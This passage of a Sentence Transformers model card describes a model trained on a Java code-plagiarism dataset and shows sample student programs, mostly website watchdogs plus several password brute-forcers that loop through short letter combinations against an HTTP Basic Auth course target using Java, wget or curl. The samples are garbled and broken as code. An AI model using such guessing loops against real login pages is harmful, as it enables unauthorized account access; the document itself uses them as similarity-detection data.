strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 30,069 training samples
  • Columns: label, text_1, and text_2
  • Approximate statistics based on the first 1000 samples:
    label text_1 text_2
    type int string string
    details
    • 0: ~99.70%
    • 1: ~0.30%
    • min: 51 tokens
    • mean: 451.36 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 469.18 tokens
    • max: 512 tokens
  • Samples:
    label text_1 text_2
    0




    import java.io.;
    import java.net.
    ;
    import java.Runtime;
    import java.util.*;
    import java.net.smtp.SmtpClient;



    public class WatchDog

    {

    static String strImageOutputFile01 = "WebPageImages01.txt";
    static String strImageOutputFile02 = "WebPageImages02.txt";

    static String strWebPageOutputFile01 = "WebPageOutput01.txt";
    static String strWebPageOutputFile02 = "WebPageOutput02.txt";

    static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";

    static String strFromEmailDefault = "@.rmit.edu.";
    static String strToEmailDefault = "@.rmit.edu.";

    static String strFromEmail = null;
    static String strToEmail = null;




    public static void main (String args[])

    {







    URL url = null;
    HttpURLConnection urlConnection;
    int intContentLength;
    String strWebPageText = "";

    String strURL = "http://www.cs.rmit.edu./students/";
    String strPrePend = "...
    import java.io.;
    import java.net.
    ;
    import java.util.*;

    public class Watchdog
    {
    public static void main(String args[])
    {

    String mainLink="http://www.cs.rmit.edu./students/";
    String sender = "@cs.rmit.edu.";
    String recipient = "";
    String hostName = "yallara.cs.rmit.edu.";
    int delay = 86400000;

    try
    {
    int imgSrcIndex, imgSrcEnd;
    String imgLink;
    Vector imageList = new Vector();
    HttpURLConnection imgConnection;
    URL imgURL;


    EmailClient email = new EmailClient(sender, recipient, hostName);


    URL url=new URL(mainLink);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();

    BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));


    FileWriter fwrite = new FileWriter("local.txt");
    BufferedWriter writefile = new BufferedWriter(fwrite);

    String line=webpage.readLine();

    while (line != null)
    {

    writefile.write(line,0,line.length());
    wri...
    0 import java.util.;
    import java.io.
    ;
    import java.;

    public class Dogs5
    {
    public static void main(String [] args) throws Exception
    {
    executes("rm index.
    ");
    executes("wget http://www.cs.rmit.edu./students");

    while (true)
    {
    String addr= "wget http://www.cs.rmit.edu./students";
    executes(addr);
    String hash1 = md5sum("index.html");
    String hash2 = md5sum("index.html.1");
    System.out.println(hash1 +"
    "+ hash2);

    BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));

    String line=" " ;
    String line1=" " ;
    String line2=" ";
    String line3=" ";
    String[] cad = new String[10];

    executes("./.sh");

    int i=0;
    while ((line = buf.readLine()) != null)
    {

    line1="http://www.cs.rmit.edu./students/images"+line;
    if (i==1)
    line2="http://www.cs.rmi...
    0

    import java.util.;
    import java.text.
    ;
    import java.io.;
    import java.
    ;
    import java.net.*;

    public class WatchDog
    {
    public static void main(String args[])
    {
    String s = null;
    String webpage = "http://www.cs.rmit.edu./students/";


    String file1 = "file1";
    String file2 = "file2";

    try
    {
    Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);

    BufferedReader stdInput = new BufferedReader(new
    InputStreamReader(p.getInputStream()));

    BufferedReader stdError = new BufferedReader(new
    InputStreamReader(p.getErrorStream()));


    while ((s = stdInput.readLine()) != null) {
    System.out.println(s);
    }


    while ((s = stdError.readLine()) != null) {
    System.out.println(s);
    }

    try
    {
    p.waitFor();
    }
    catch...


    import java.io.;
    import java.net.
    ;
    import java.util.;
    import java.String;
    import java.Object;
    import java.awt.
    ;



    public class WatchDog
    {
    private URL url;
    private URLConnection urlcon;
    private int lastModifiedSince = 0;
    private int lastModified[] = new int[2];

    private int count = 0;

    public static String oldFile;
    public static String newFile;

    private String diffFile;

    private BufferedWriter bw;
    private Process p;
    private Runtime r;
    private String fileName;



    private ArrayList old[]= new ArrayList[500];
    private ArrayList news[] = new ArrayList[500];
    private String info = "";
    private int index = 0;

    public WatchDog(String fileName)
    {
    this.fileName = fileName;
    oldFile = fileName + ".old";
    newFile = fileName + ".new";
    diffFile = "testFile.txt";
    }
    public static void main(String args[])
    {
    WatchDog wd = new WatchDog("TestDog");

    wd.detectChange(WatchDog.oldFile);
    while (true)
    {
    try
    {
    Thread.slee...
  • Loss: SoftmaxLoss

Evaluation Dataset

soco_train_java

  • Dataset: soco_train_java at 44ca4ff
  • Size: 3,342 evaluation samples
  • Columns: label, text_1, and text_2
  • Approximate statistics based on the first 1000 samples:
    label text_1 text_2
    type int string string
    details
    • 0: ~99.40%
    • 1: ~0.60%
    • min: 51 tokens
    • mean: 443.68 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 467.63 tokens
    • max: 512 tokens
  • Samples:
    label text_1 text_2
    0

    import java.Runtime;
    import java.io.*;

    public class differenceFile
    {
    StringWriter sw =null;
    PrintWriter pw = null;
    public differenceFile()
    {
    sw = new StringWriter();
    pw = new PrintWriter();
    }
    public String compareFile()
    {
    try
    {
    Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");

    InputStream write = sw.getInputStream();
    BufferedReader bf = new BufferedReader (new InputStreamReader(write));
    String line;
    while((line = bf.readLine())!=null)
    pw.println(line);
    if((sw.toString().trim()).equals(""))
    {
    System.out.println(" difference");
    return null;
    }
    System.out.println(sw.toString().trim());
    }catch(Exception e){}
    return sw.toString().trim();
    }
    }







    import java.;
    import java.io.
    ;
    import java.util.*;

    public class BruteForce
    {

    public static void main(String[] args)
    {
    Runtime rt = Runtime.getRuntime();
    Process pr= null;
    char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    String pass;
    char temp[] = {'a','a'};
    char temp1[] = {'a','a','a'};
    char temp2[] = {'a'};

    String f= new String();
    String resp = new String();
    int count=0;
    String success = new String();
    InputStreamReader instre;
    BufferedReader bufread;


    for(int k=0;k<52;k++)
    {
    temp2[0]=chars[k];
    pass = new String(temp2);
    count++;

    System.out.println("The password tried ...
    0 import java.io.;
    import java.net.
    ;
    import java.util.*;

    public class Watchdog
    {
    public static void main(String args[])
    {

    String mainLink="http://www.cs.rmit.edu./students/";
    String sender = "@cs.rmit.edu.";
    String recipient = "";
    String hostName = "yallara.cs.rmit.edu.";
    int delay = 86400000;

    try
    {
    int imgSrcIndex, imgSrcEnd;
    String imgLink;
    Vector imageList = new Vector();
    HttpURLConnection imgConnection;
    URL imgURL;


    EmailClient email = new EmailClient(sender, recipient, hostName);


    URL url=new URL(mainLink);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();

    BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));


    FileWriter fwrite = new FileWriter("local.txt");
    BufferedWriter writefile = new BufferedWriter(fwrite);

    String line=webpage.readLine();

    while (line != null)
    {

    writefile.write(line,0,line.length());
    wri...


    import java.net.;
    import java.io.
    ;
    import java.String;
    import java.;
    import java.util.
    ;

    public class BruteForce {
    private static final int passwdLength = 3;
    private static String commandLine
    = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
    private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    private int charLen = chars.length();
    private int n = 0;
    private int n3 = charLencharLencharLen;
    private String response;
    private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen];
    private char[][] data = new char[passwdLength][charLen];
    private char[] pwdChar2 = new char[2];
    private char[] pwdChar = new char[passwdLength];
    private String url;
    private int startTime;
    private int endTime;
    private int totalTime;
    private float averageTime;
    private boolean finish;
    private Process curl;
    private BufferedReader bf, responseLine;

    ...
    0
    import java.io.;
    import java.awt.
    ;
    import java.net.*;

    public class BruteForce
    {
    public static void main (String[] args)
    {
    String pw = new String();
    pw = getPassword ();
    System.out.println("Password is: "+pw);
    }
    public static String getPassword()
    {
    String passWord = new String();
    passWord = "AAA";
    char[] guess = passWord.toCharArray();
    Process pro = null;
    Runtime runtime = Runtime.getRuntime();
    BufferedReader in = null;
    String str=null;
    boolean found = true;

    System.out.println(" attacking.....");
    for (int i=65;i<=122 ;i++ )
    {
    guess[0]=(char)(i);
    for (int j=65;j<=122 ;j++ )
    {
    guess[1]=(char)(j);
    for (int k=65 ;k<=122 ;k++ )
    {
    guess[2]=(char)(k);
    passWord = new String(guess);
    String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
    try
    {
    pro = runtime.exec(cmd);

    in = new BufferedReader(new InputStreamReader(pro.getErrorSt...


    import java.io.;
    import java.text.
    ;
    import java.util.;
    import java.net.
    ;

    public class BruteForce extends Thread
    {
    private static final String USERNAME = "";
    private static final char [] POSSIBLE_CHAR =
    {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
    'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
    private static int NUMBER_OF_THREAD = 500;

    private static Date startDate = null;
    private static Date endDate = null;

    private String address;
    private String password;

    public BruteForce(String address, String password)
    {
    this.address = address;
    this.password = password;
    }

    public static void main(String[] args) throws IOException
    {
    if (args.length < 1)
    {
    System.err.println("Invalid usage!");
    System.err.println("...
  • Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

  • eval_strategy: steps
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • warmup_ratio: 0.1
  • fp16: True

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: steps
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1.0
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.1
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: proportional

Training Logs

Epoch Step Training Loss Validation Loss
0.0532 100 0.0885 0.0440
0.1064 200 0.0225 0.0211
0.1596 300 0.03 0.0287
0.2128 400 0.0189 0.0252
0.2660 500 0.0262 0.0245
0.3191 600 0.0055 0.0327
0.3723 700 0.0243 0.0257
0.4255 800 0.0212 0.0206
0.4787 900 0.0282 0.0194
0.5319 1000 0.0204 0.0186
0.5851 1100 0.0103 0.0212
0.6383 1200 0.0178 0.0175
0.6915 1300 0.0159 0.0164
0.7447 1400 0.013 0.0156
0.7979 1500 0.0111 0.0159
0.8511 1600 0.0277 0.0147
0.9043 1700 0.0034 0.0165
0.9574 1800 0.0136 0.0154

Framework Versions

  • Python: 3.11.11
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.8.0.dev20250319+cu128
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}